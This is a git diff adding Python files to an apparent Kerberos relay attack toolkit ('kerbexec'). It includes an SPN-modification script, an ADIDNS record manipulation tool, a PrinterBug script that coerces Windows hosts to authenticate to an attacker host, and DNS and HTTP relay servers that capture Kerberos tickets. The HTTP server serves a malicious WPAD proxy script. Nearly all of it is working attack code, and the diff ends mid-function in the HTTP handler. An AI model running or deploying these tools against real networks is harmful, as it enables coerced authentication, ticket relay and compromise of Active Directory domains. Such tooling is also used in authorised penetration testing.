sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string)) + +def print_f(string): + sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string)) + +def main(): + parser = argparse.ArgumentParser(description='Add an SPN to a user/computer account') + parser._optionals.title = "Main options" + parser._positionals.title = "Required options" + + #Main parameters + parser.add_argument("host", metavar='HOSTNAME', help="Hostname/ip or ldap://host:port connection string to connect to") + parser.add_argument("-u", "--user", metavar='USERNAME', help="DOMAIN\\username for authentication") + parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified") + parser.add_argument("-t", "--target", metavar='TARGET', help="Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target)") + parser.add_argument("-T", "--target-type", metavar='TARGETTYPE', choices=('samname','hostname','auto'), default='auto', help="Target type (samname or hostname) If unspecified, will assume it's a hostname if there is a . in the name and a SAM name otherwise.") + parser.add_argument("-s", "--spn", metavar='SPN', help="servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local)") + parser.add_argument("-r", "--remove", action='store_true', help="Remove the SPN instead of add it") + parser.add_argument("-c", "--clear", action='store_true', help="Clear, i.e. remove all SPNs") + parser.add_argument("-q", "--query", action='store_true', help="Show the current target SPNs instead of modifying anything") + parser.add_argument("-a", "--additional", action='store_true', help="Add the SPN via the msDS-AdditionalDnsHostName attribute") + parser.add_argument('-k', '--kerberos', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') + parser.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + args = parser.parse_args() + + if not args.query and not args.clear: + if not args.spn: + parser.error("-s/--spn is required when not querying (-q/--query) or clearing (--clear)") + + #Prompt for password if not set + authentication = None + if not args.user or not '\\' in args.user: + print_f('Username must include a domain, use: DOMAIN\\username') + sys.exit(1) + domain, user = args.user.split('\\', 1) + if not args.kerberos: + authentication = NTLM + sasl_mech = None + if args.password is None: + args.password = getpass.getpass() + else: + TGT = None + TGS = None + try: + # Hashes + lmhash, nthash = args.password.split(':') + assert len(nthash) == 32 + password = '' + except: + # Password + lmhash = '' + nthash = '' + password = args.password + if 'KRB5CCNAME' in os.environ and os.path.exists(os.environ['KRB5CCNAME']): + domain, user, TGT, TGS = CCache.parseFile(domain, user, 'ldap/%s' % args.host) + if args.dc_ip is None: + kdcHost = domain + else: + kdcHost = options.dc_ip + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if not TGT and not TGS: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, args.aesKey, kdcHost) + elif TGT: + # Has TGT + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + if not TGS: + # Request TGS + serverName = Principal('ldap/%s' % args.host, type=constants.PrincipalNameType.NT_SRV_INST.value) + TGS = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) + else: + # Convert to tuple expected + TGS = (TGS['KDC_REP'], TGS['cipher'], TGS['sessionKey'], TGS['sessionKey']) + authentication = SASL + sasl_mech = KERBEROS + + controls = security_descriptor_control(sdflags=0x04) + # define the server and the connection + s = Server(args.host, get_info=ALL) + print_m('Connecting to host...') + c = Connection(s, user=args.user, password=args.password, authentication=authentication, sasl_mechanism=sasl_mech) + print_m('Binding to host') + # perform the Bind operation + if authentication == NTLM: + if not c.bind(): + print_f('Could not bind with specified credentials') + print_f(c.result) + sys.exit(1) + else: + ldap_kerberos(domain, kdcHost, None, userName, c, args.host, TGS) + print_o('Bind OK') + + if args.target: + targetuser = args.target + else: + targetuser = args.user.split('\\')[1] + + if ('.' in targetuser and args.target_type != 'samname') or args.target_type == 'hostname': + if args.target_type == 'auto': + print_m('Assuming target is a hostname. If this is incorrect use --target-type samname') + search = '(dnsHostName=%s)' % targetuser + else: + search = '(SAMAccountName=%s)' % targetuser + c.search(s.info.other['defaultNamingContext'][0], search, controls=controls, attributes=['SAMAccountName', 'servicePrincipalName', 'dnsHostName', 'msds-additionaldnshostname']) + + try: + targetobject = c.entries[0] + print_o('Found modification target') + except IndexError: + print_f('Target not found!') + return + + if args.remove: + operation = ldap3.MODIFY_DELETE + elif args.clear: + operation = ldap3.MODIFY_REPLACE + else: + operation = ldap3.MODIFY_ADD + + if args.query: + # If we only want to query it + print(targetobject) + return + + + if not args.additional: + if args.clear: + print_o('Printing object before clearing') + print(targetobject) + c.modify(targetobject.entry_dn, {'servicePrincipalName':[(operation, [])]}) + else: + c.modify(targetobject.entry_dn, {'servicePrincipalName':[(operation, [args.spn])]}) + else: + try: + host = args.spn.split('/')[1] + except IndexError: + # Assume this is the hostname + host = args.spn + c.modify(targetobject.entry_dn, {'msds-additionaldnshostname':[(operation, [host])]}) + + if c.result['result'] == 0: + print_o('SPN Modified successfully') + else: + if c.result['result'] == 50: + print_f('Could not modify object, the server reports insufficient rights: %s' % c.result['message']) + elif c.result['result'] == 19: + print_f('Could not modify object, the server reports a constrained violation') + if args.additional: + print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs ending on the domain FQDN)') + else: + print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)') + print_f('To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute') + else: + print_f('The server returned an error: %s' % c.result['message']) + + +if __name__ == '__main__': + main() diff --git a/kerbexec/exp/dns.py b/kerbexec/exp/dns.py new file mode 100644 index 0000000..08dc9a3 --- /dev/null +++ b/kerbexec/exp/dns.py @@ -0,0 +1,610 @@ +#!/usr/bin/env python +#################### +# +# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan) +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +# +# Tool to interact with ADIDNS over LDAP +# +#################### +import sys +import argparse +import getpass +import re +import os +import socket +from struct import unpack, pack +from impacket.structure import Structure +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.types import Principal +from impacket.krb5 import constants +from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE, SASL, KERBEROS +from lib.utils.kerberos import ldap_kerberos +import ldap3 +from impacket.ldap import ldaptypes +import dns.resolver +import datetime + +def print_m(string): + sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string)) + +def print_o(string): + sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string)) + +def print_f(string): + sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string)) + + + +class DNS_RECORD(Structure): + """ + dnsRecord - used in LDAP + [MS-DNSP] section 2.3.2.2 + """ + structure = ( + ('DataLength', 'L'), + ('Reserved', 'H'), + ('wRecordCount', '>H'), + ('dwFlags', '>L'), + ('dwChildCount', '>L'), + ('dnsNodeName', ':') + ) + +class DNS_RPC_RECORD_A(Structure): + """ + DNS_RPC_RECORD_A + [MS-DNSP] section 2.2.2.2.4.1 + """ + structure = ( + ('address', ':'), + ) + + def formatCanonical(self): + return socket.inet_ntoa(self['address']) + + def fromCanonical(self, canonical): + self['address'] = socket.inet_aton(canonical) + + +class DNS_RPC_RECORD_NODE_NAME(Structure): + """ + DNS_RPC_RECORD_NODE_NAME + [MS-DNSP] section 2.2.2.2.4.2 + """ + structure = ( + ('nameNode', ':', DNS_COUNT_NAME), + ) + +class DNS_RPC_RECORD_SOA(Structure): + """ + DNS_RPC_RECORD_SOA + [MS-DNSP] section 2.2.2.2.4.3 + """ + structure = ( + ('dwSerialNo', '>L'), + ('dwRefresh', '>L'), + ('dwRetry', '>L'), + ('dwExpire', '>L'), + ('dwMinimumTtl', '>L'), + ('namePrimaryServer', ':', DNS_COUNT_NAME), + ('zoneAdminEmail', ':', DNS_COUNT_NAME) + ) + +class DNS_RPC_RECORD_NULL(Structure): + """ + DNS_RPC_RECORD_NULL + [MS-DNSP] section 2.2.2.2.4.4 + """ + structure = ( + ('bData', ':'), + ) + +# Some missing structures here that I skipped + +class DNS_RPC_RECORD_NAME_PREFERENCE(Structure): + """ + DNS_RPC_RECORD_NAME_PREFERENCE + [MS-DNSP] section 2.2.2.2.4.8 + """ + structure = ( + ('wPreference', '>H'), + ('nameExchange', ':', DNS_COUNT_NAME) + ) + +# Some missing structures here that I skipped + +class DNS_RPC_RECORD_AAAA(Structure): + """ + DNS_RPC_RECORD_AAAA + [MS-DNSP] section 2.2.2.2.4.17 + [MS-DNSP] section 2.2.2.2.4.17 + """ + structure = ( + ('ipv6Address', '16s'), + ) + +class DNS_RPC_RECORD_SRV(Structure): + """ + DNS_RPC_RECORD_SRV + [MS-DNSP] section 2.2.2.2.4.18 + """ + structure = ( + ('wPriority', '>H'), + ('wWeight', '>H'), + ('wPort', '>H'), + ('nameTarget', ':', DNS_COUNT_NAME) + ) + +class DNS_RPC_RECORD_TS(Structure): + """ + DNS_RPC_RECORD_TS + [MS-DNSP] section 2.2.2.2.4.23 + """ + structure = ( + ('entombedTime', ' 0: + print_m('Found %d domain DNS zones:' % len(zones)) + for zone in zones: + print(' %s' % zone) + forestdns = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % s.info.other['rootDomainNamingContext'][0] + zones = get_dns_zones(c, forestdns) + if len(zones) > 0: + print_m('Found %d forest DNS zones:' % len(zones)) + for zone in zones: + print(' %s' % zone) + return + + + target = args.record + if args.zone: + zone = args.zone + else: + # Default to current domain + zone = ldap2domain(domainroot) + + if not target: + print_f('You need to specify a target record') + return + + if target.lower().endswith(zone.lower()): + target = target[:-(len(zone)+1)] + + + searchtarget = 'DC=%s,%s' % (zone, dnsroot) + # print s.info.naming_contexts + c.search(searchtarget, '(&(objectClass=dnsNode)(name=%s))' % ldap3.utils.conv.escape_filter_chars(target), attributes=['dnsRecord','dNSTombstoned','name']) + targetentry = None + for entry in c.response: + if entry['type'] != 'searchResEntry': + continue + targetentry = entry + + # Check if we have the required data + if args.action in ['add', 'modify', 'remove'] and not args.data: + print_f('This operation requires you to specify record data with --data') + return + + + # Check if we need the target record to exists, and if yes if it does + if args.action in ['modify', 'remove', 'ldapdelete', 'resurrect', 'query'] and not targetentry: + print_f('Target record not found!') + return + + + if args.action == 'query': + print_o('Found record %s' % targetentry['attributes']['name']) + for record in targetentry['raw_attributes']['dnsRecord']: + dr = DNS_RECORD(record) + # dr.dump() + print(targetentry['dn']) + print_record(dr, targetentry['attributes']['dNSTombstoned']) + continue + elif args.action == 'add': + # Only A records for now + addtype = 1 + # Entry exists + if targetentry: + if not args.allow_multiple: + for record in targetentry['raw_attributes']['dnsRecord']: + dr = DNS_RECORD(record) + if dr['Type'] == 1: + address = DNS_RPC_RECORD_A(dr['Data']) + print_f('Record already exists and points to %s. Use --action modify to overwrite or --allow-multiple to override this' % address.formatCanonical()) + return False + # If we are here, no A records exists yet + record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) + record['Data'] = DNS_RPC_RECORD_A() + record['Data'].fromCanonical(args.data) + print_m('Adding extra record') + c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_ADD, record.getData())]}) + print_operation_result(c.result) + else: + node_data = { + # Schema is in the root domain (take if from schemaNamingContext to be sure) + 'objectCategory': 'CN=Dns-Node,%s' % s.info.other['schemaNamingContext'][0], + 'dNSTombstoned': False, + 'name': target + } + record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) + record['Data'] = DNS_RPC_RECORD_A() + record['Data'].fromCanonical(args.data) + record_dn = 'DC=%s,%s' % (target, searchtarget) + node_data['dnsRecord'] = [record.getData()] + print_m('Adding new record') + c.add(record_dn, ['top', 'dnsNode'], node_data) + print_operation_result(c.result) + elif args.action == 'modify': + # Only A records for now + addtype = 1 + # We already know the entry exists + targetrecord = None + records = [] + for record in targetentry['raw_attributes']['dnsRecord']: + dr = DNS_RECORD(record) + if dr['Type'] == 1: + targetrecord = dr + else: + records.append(record) + if not targetrecord: + print_f('No A record exists yet. Use --action add to add it') + targetrecord['Serial'] = get_next_serial(args.dns_ip, args.host, zone,args.tcp) + targetrecord['Data'] = DNS_RPC_RECORD_A() + targetrecord['Data'].fromCanonical(args.data) + records.append(targetrecord.getData()) + print_m('Modifying record') + c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, records)]}) + print_operation_result(c.result) + elif args.action == 'remove': + addtype = 0 + if len(targetentry['raw_attributes']['dnsRecord']) > 1: + print_m('Target has multiple records, removing the one specified') + targetrecord = None + for record in targetentry['raw_attributes']['dnsRecord']: + dr = DNS_RECORD(record) + if dr['Type'] == 1: + tr = DNS_RPC_RECORD_A(dr['Data']) + if tr.formatCanonical() == args.data: + targetrecord = record + if not targetrecord: + print_f('Could not find a record with the specified data') + return + c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_DELETE, targetrecord)]}) + print_operation_result(c.result) + else: + print_m('Target has only one record, tombstoning it') + diff = datetime.datetime.today() - datetime.datetime(1601,1,1) + tstime = int(diff.total_seconds()*10000) + # Add a null record + record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) + record['Data'] = DNS_RPC_RECORD_TS() + record['Data']['entombedTime'] = tstime + c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, [record.getData()])], + 'dNSTombstoned': [(MODIFY_REPLACE, True)]}) + print_operation_result(c.result) + elif args.action == 'ldapdelete': + print_m('Deleting record over LDAP') + c.delete(targetentry['dn']) + print_operation_result(c.result) + elif args.action == 'resurrect': + addtype = 0 + if len(targetentry['raw_attributes']['dnsRecord']) > 1: + print_m('Target has multiple records, I dont know how to handle this.') + return + else: + print_m('Target has only one record, resurrecting it') + diff = datetime.datetime.today() - datetime.datetime(1601,1,1) + tstime = int(diff.total_seconds()*10000) + # Add a null record + record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) + record['Data'] = DNS_RPC_RECORD_TS() + record['Data']['entombedTime'] = tstime + c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, [record.getData()])], + 'dNSTombstoned': [(MODIFY_REPLACE, False)]}) + print_o('Record resurrected. You will need to (re)add the record with the IP address.') + +if __name__ == '__main__': + main() diff --git a/kerbexec/exp/printerbug.py b/kerbexec/exp/printerbug.py new file mode 100644 index 0000000..a34b728 --- /dev/null +++ b/kerbexec/exp/printerbug.py @@ -0,0 +1,253 @@ +#!/usr/bin/env python +#################### +# +# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan) +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +# +# Triggers RPC call using SpoolService bug +# Credit for original POC goes to @tifkin_ +# +# Author: +# Dirk-jan Mollema (@_dirkjan) +# +#################### +import sys +import logging +import argparse +import codecs + +from impacket.examples.logger import ImpacketFormatter +from impacket import version +from impacket.dcerpc.v5 import transport, rprn +from impacket.dcerpc.v5.dtypes import NULL +import socket + +class PrinterBug(object): + KNOWN_PROTOCOLS = { + 139: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True}, + 445: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True}, + } + + def __init__(self, username='', password='', domain='', port=None, + hashes=None, attackerhost='', ping=True, timeout=1, + doKerberos=False, dcHost='', targetIp=None): + + self.__username = username + self.__password = password + self.__port = port + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__attackerhost = attackerhost + self.__tcp_ping = ping + self.__tcp_timeout = timeout + self.__doKerberos = doKerberos + self.__dcHost = dcHost + self.__targetIp = targetIp + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def dump(self, remote_host): + + logging.info('Attempting to trigger authentication via rprn RPC at %s', remote_host) + + stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host + # logging.info('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + + if self.KNOWN_PROTOCOLS[self.__port]['set_host']: + rpctransport.setRemoteHost(remote_host) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + if self.__doKerberos: + rpctransport.set_kerberos(True, kdcHost=self.__dcHost) + + if self.__targetIp: + rpctransport.setRemoteHost(self.__targetIp) + + try: + self.lookup(rpctransport, remote_host) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.critical("An unhandled exception has occured. Trying next host:") + logging.critical(str(e)) + + def ping(self, host): + # Code stolen from https://github.com/fox-it/BloodHound.py/blob/1124a1b5c6f62fa6c058f7294251c7cb223e3d66/bloodhound/ad/utils.py#L126 and slightly modified by @tacticalDevC + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.__tcp_timeout) + s.connect((host, self.__port)) + s.close() + return True + except KeyboardInterrupt: + raise + except: + return False + + def lookup(self, rpctransport, host): + if self.__tcp_ping and self.ping(host) is False: + logging.info("Host is offline. Skipping!") + return + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(rprn.MSRPC_UUID_RPRN) + logging.info('Bind OK') + try: + resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host) + except Exception as e: + if str(e).find('Broken pipe') >= 0: + # The connection timed-out. Let's try to bring it back next round + logging.error('Connection failed - skipping host!') + return + elif str(e).upper().find('ACCESS_DENIED'): + # We're not admin, bye + logging.error('Access denied - RPC call was denied') + dce.disconnect() + return + else: + raise + logging.info('Got handle') + + request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() + request['hPrinter'] = resp['pHandle'] + request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB + request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost + request['pOptions'] = NULL + try: + resp = dce.request(request) + except Exception as e: + print(e) + logging.info('Triggered RPC backconnect, this may or may not have worked') + + dce.disconnect() + + return None + + +# Process command-line arguments. +def main(): + # Init the example's logger theme + handler = logging.StreamHandler(sys.stderr) + handler.setFormatter(ImpacketFormatter()) + logging.getLogger().addHandler(handler) + logging.getLogger().setLevel(logging.INFO) + + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + logging.info(version.BANNER) + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('attackerhost', action='store', help='hostname to connect to') + parser.add_argument("--verbose", action="store_true", help="Switch verbosity to DEBUG") + + group = parser.add_argument_group('connection') + + group.add_argument('-target-file', + action='store', + metavar="file", + help='Use the targets in the specified file instead of the one on'\ + ' the command line (you must still specify something as target name)') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + group.add_argument("-timeout", + action="store", + metavar="timeout", + default=1, + help="Specify a timeout for the TCP ping check") + group.add_argument("-no-ping", + action="store_false", + help="Specify if a TCP ping should be done before connection"\ + "NOT recommended since SMB timeouts default to 300 secs and the TCP ping assures connectivity to the SMB port") + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through ntlmrelayx)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + import re + + domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in remote_name: + password = password + '@' + remote_name.rpartition('@')[0] + remote_name = remote_name.rpartition('@')[2] + + if options.verbose: + logging.getLogger().setLevel(logging.DEBUG) + + if domain is None: + domain = '' + + if options.dc_ip is None: + dc_ip = domain + else: + dc_ip = options.dc_ip + + if password == '' and username != '' and options.hashes is None and options.no_pass is False: + from getpass import getpass + password = getpass("Password:") + + remote_names = [] + if options.target_file is not None: + with open(options.target_file, 'r') as inf: + for line in inf: + remote_names.append(line.strip()) + else: + remote_names.append(remote_name) + + lookup = PrinterBug(username, password, domain, int(options.port), options.hashes, options.attackerhost, options.no_ping, float(options.timeout), options.k, dc_ip, options.target_ip) + for remote_name in remote_names: + + try: + lookup.dump(remote_name) + except KeyboardInterrupt: + break + + +if __name__ == '__main__': + main() diff --git a/kerbexec/krb.gitignore b/kerbexec/krb.gitignore new file mode 100644 index 0000000..51cd7a8 --- /dev/null +++ b/kerbexec/krb.gitignore @@ -0,0 +1,5 @@ +build/ +venv/ +*.egg-info +dist/ +*.pyc diff --git a/kerbexec/servers/__init__.py b/kerbexec/servers/__init__.py new file mode 100644 index 0000000..8c123a0 --- /dev/null +++ b/kerbexec/servers/__init__.py @@ -0,0 +1,3 @@ +from .httprelayserver import HTTPKrbRelayServer +from .smbrelayserver import SMBRelayServer +from .dnsrelayserver import DNSRelayServer \ No newline at end of file diff --git a/kerbexec/servers/dnsrelayserver.py b/kerbexec/servers/dnsrelayserver.py new file mode 100644 index 0000000..252e3f5 --- /dev/null +++ b/kerbexec/servers/dnsrelayserver.py @@ -0,0 +1,108 @@ +import random, string +import socket +from struct import pack, unpack +import sys, binascii +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID +from impacket import ntlm +from impacket import dns +from socketserver import TCPServer, BaseRequestHandler, ThreadingMixIn +from impacket.structure import Structure +from dns.message import from_wire +from impacket import ntlm, LOG +from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile +from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor +from lib.utils.kerberos import get_kerberos_loot, get_auth_data + +from threading import Thread + + +class DNSRelayServer(Thread): + class DNSServer(ThreadingMixIn, TCPServer): + def __init__(self, server_address, request_handler_class, config): + self.config = config + self.daemon_threads = True + if self.config.ipv6: + self.address_family = socket.AF_INET6 + self.wpad_counters = {} + try: + TCPServer.__init__(self, server_address, request_handler_class) + except OSError as e: + if "already in use" in str(e): + LOG.error('Could not start DNS server. Address is already in use. To fix this error, specify the interface IP to listen on with --interface-ip') + else: + LOG.error('Could not start DNS server: %s', str(e)) + raise e + + class DnsReqHandler(BaseRequestHandler): + def handle(self): + data = self.request.recv(1024) + dlen, = unpack('>H', data[:2]) + while dlen > len(data[2:]): + data += self.request.recv(1024) + dnsp = data[2:dlen+2] + LOG.info('DNS: Client sent authorization') + pckt = from_wire(dnsp) + LOG.debug(str(pckt)) + nti = None + for rd in pckt.additional[0]: + nti = rd.key + if not nti: + return + + if self.server.config.mode == 'RELAY': + authdata = get_auth_data(nti, self.server.config) + self.do_relay(authdata) + else: + # Unconstrained delegation mode + authdata = get_kerberos_loot(token, self.server.config) + self.do_attack(authdata) + + def do_relay(self, authdata): + self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) + sclass, host = authdata['service'].split('/') + for target in self.server.config.target.originalTargets: + parsed_target = target + if parsed_target.hostname.lower() == host.lower(): + # Found a target with the same SPN + client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) + client.initConnection(authdata, self.server.config.dcip) + # We have an attack.. go for it + attack = self.server.config.attacks[parsed_target.scheme.upper()] + client_thread = attack(self.server.config, client.session, self.authUser) + client_thread.start() + return + # Still here? Then no target was found matching this SPN + LOG.error('No target configured that matches the hostname of the SPN in the ticket: %s', parsed_target.host.lower()) + + def do_attack(self, authdata): + self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) + # No SOCKS, since socks is pointless when you can just export the tickets + # instead we iterate over all the targets + for target in self.server.config.target.originalTargets: + parsed_target = target + if parsed_target.scheme.upper() in self.server.config.attacks: + client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) + client.initConnection(authdata, self.server.config.dcip) + # We have an attack.. go for it + attack = self.server.config.attacks[parsed_target.scheme.upper()] + client_thread = attack(self.server.config, client.session, self.authUser) + client_thread.start() + else: + LOG.error('No attack configured for %s', parsed_target.scheme.upper()) + + def __init__(self, config): + Thread.__init__(self) + self.daemon = True + self.config = config + self.server = None + + def _start(self): + self.server.daemon_threads=True + self.server.serve_forever() + LOG.info('Shutting down DNS Server') + self.server.server_close() + + def run(self): + LOG.info("Setting up DNS Server") + self.server = self.DNSServer((self.config.interfaceIp, 53), self.DnsReqHandler, self.config) + self._start() \ No newline at end of file diff --git a/kerbexec/servers/httprelayserver.py b/kerbexec/servers/httprelayserver.py new file mode 100644 index 0000000..9dc454b --- /dev/null +++ b/kerbexec/servers/httprelayserver.py @@ -0,0 +1,168 @@ +try: + import SimpleHTTPServer + import SocketServer +except ImportError: + import http.server as SimpleHTTPServer + import socketserver as SocketServer +import socket +import base64 +import random +import string +import traceback +from threading import Thread +from six import PY2, b + +from impacket import ntlm, LOG +from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile +from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor +from impacket.examples.ntlmrelayx.servers import HTTPRelayServer +from lib.utils.kerberos import get_kerberos_loot + +class HTTPKrbRelayServer(HTTPRelayServer): + """ + HTTP Kerberos relay server. Mostly extended from ntlmrelayx. + Only required functions are overloaded + """ + + class HTTPHandler(HTTPRelayServer.HTTPHandler): + def __init__(self,request, client_address, server): + self.server = server + self.protocol_version = 'HTTP/1.1' + self.challengeMessage = None + self.client = None + self.machineAccount = None + self.machineHashes = None + self.domainIp = None + self.authUser = None + self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' + LOG.info("HTTPD: Received connection from %s, prompting for authentication", client_address[0]) + try: + SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) + except Exception as e: + LOG.error(str(e)) + LOG.debug(traceback.format_exc()) + + def getheader(self, header): + try: + return self.headers.getheader(header) + except AttributeError: + return self.headers.get(header) + + def do_PROPFIND(self): + proxy = False + if (".jpg" in self.path) or (".JPG" in self.path): + content = b"""http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + else: + content = b"""http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + + messageType = 0 + if PY2: + autorizationHeader = self.headers.getheader('Authorization') + else: + autorizationHeader = self.headers.get('Authorization') + if autorizationHeader is None: + self.do_AUTHHEAD(message=b'Negotiate') + return + else: + auth_header = autorizationHeader + try: + _, blob = auth_header.split('Negotiate') + token = base64.b64decode(blob.strip()) + except: + self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) + return + + if b'NTLMSSP' in token: + LOG.info('HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) + return + # If you're looking for the magic, it's in lib/utils/kerberos.py + 